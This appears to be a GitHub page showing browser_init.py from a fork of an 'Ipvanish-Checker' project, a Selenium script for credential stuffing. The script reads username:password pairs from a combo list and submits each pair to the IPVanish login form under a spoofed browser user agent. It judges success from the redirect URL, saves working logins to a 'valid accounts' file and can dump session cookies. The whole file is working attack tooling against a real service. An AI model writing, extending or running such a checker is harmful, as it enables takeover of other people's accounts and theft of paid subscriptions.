forked from g3th/Ipvanish-Checker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
browser_init.py
74 lines (65 loc) · 3.04 KB
/
browser_init.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import json
import time
from selenium.common.exceptions import NoSuchDriverException
from selenium.webdriver.chrome.service import Service
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from pathlib import Path
class BrowserInit:
def __init__(self, page):
driver_path = str(Path(__file__).parent) + '/chromedriver/chromedriver'
self.usr = []
self.passw = []
self.browser_service = Service(executable_path=driver_path)
self.browser_options = Options()
self.browser_options.add_argument('User-Agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
'AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/121.0.0.0 Safari/537.36"')
self.browser_options.add_argument('--log-level=3')
#self.browser_options.add_argument('--headless=new')
self.browser = webdriver.Chrome(options=self.browser_options, service=self.browser_service)
self.page = page
self.directory = "combos/ipvanish"
def open_page_and_enter_credentials(self, usr, passw):
try:
self.browser.get(self.page)
self.browser.set_window_size(400, 400)
email = self.browser.find_element(By.XPATH, '//input[@type="email"]')
password_box = self.browser.find_element(By.XPATH, '//input[@type="password"]')
button = self.browser.find_element(By.XPATH, '//button[@tabindex="3"]')
email.send_keys(usr)
password_box.send_keys(passw)
button.click()
time.sleep(4)
except NoSuchDriverException:
print("Chromedriver is not installed.")
print("Please re-run the program and make sure the folder structure is intact.")
print("Ending.")
def check_validity_and_store_if_valid(self, usr, passw):
if "https://my.ipvanish.com/vpn/" in self.browser.current_url or "https://account.ipvanish.com/index.php" in self.browser.current_url:
print("{}:{} is a valid account...".format(usr, passw))
with open("valid/ipvanish_valid_accounts", 'a') as valid_accounts:
valid_accounts.write(usr + ":" + passw + "\n")
else:
print("{}:{} is Invalid you wallad...".format(usr, passw))
def get_cookie(self, d):
with open(d, 'w') as write_cookie:
json.dump(self.browser.get_cookies(), write_cookie, indent=3)
def close(self):
self.browser.close()
def get_and_split_list():
user = []
password = []
directory = "combos/ipvanish"
try:
with open(directory, 'r') as combos:
for line in combos.readlines():
user.append(line.split(":")[0].strip())
password.append(line.split(":")[1].strip())
combos.close()
except FileNotFoundError:
print("Combo list not found. Make sure it's placed in {} and named 'ipvanish'."
.format(directory))
exit()
return user, password